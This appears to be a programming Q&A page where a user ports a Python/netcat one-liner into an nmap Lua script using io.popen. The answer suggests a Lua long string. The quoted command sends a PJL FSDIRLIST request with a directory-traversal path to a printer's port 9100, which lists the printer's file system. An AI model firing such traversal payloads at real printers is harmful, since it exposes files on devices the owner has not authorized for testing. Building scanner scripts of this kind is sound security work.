ahhchuu
ahhchuu

Reputation: 471

Lua popen with string arguments

I am attempting to use popen to pipe a string containing multiple quotes to netcat. I have a Python command that works fine but I am turning it into an nmap script. I am not as familiar with Lua.

Python version:

python -c 'print "\x1b%-12345X@PJL FSDIRLIST NAME=\"0:\\..\\..\\..\\\" ENTRY=1 COUNT=999999\x0d\x0a\x1b%-12345X\x0d\x0a"' | nc 192.168.0.1 9100

Lua attempted version:

local handle = assert(io.popen("python -c 'print \"\x1b%-12345X@PJL FSDIRLIST NAME=\"0:\\..\\..\\..\\\" ENTRY=1 COUNT=999999\x0d\x0a\x1b%-12345X\x0d\x0a\"' | nc " .. host .. " " .. port, "r"))

This results in the following error:

File "<string>", line 1
    print "2345X@PJL FSDIRLIST NAME="0:\..\..\..\" ENTRY=1 COUNT=999999

Is there a way to organize that string so that Lua will accept it?

Upvotes: 2

Views: 1244

Answers (1)

lhf
lhf

Reputation: 72312

Try using a long string

[[python -c 'print "\x1b%-12345X@PJL FSDIRLIST NAME=\"0:\\..\\..\\..\\\" ENTRY=1 COUNT=999999\x0d\x0a\x1b%-12345X\x0d\x0a"' | nc 192.168.0.1 9100]]

Upvotes: 2

Related Questions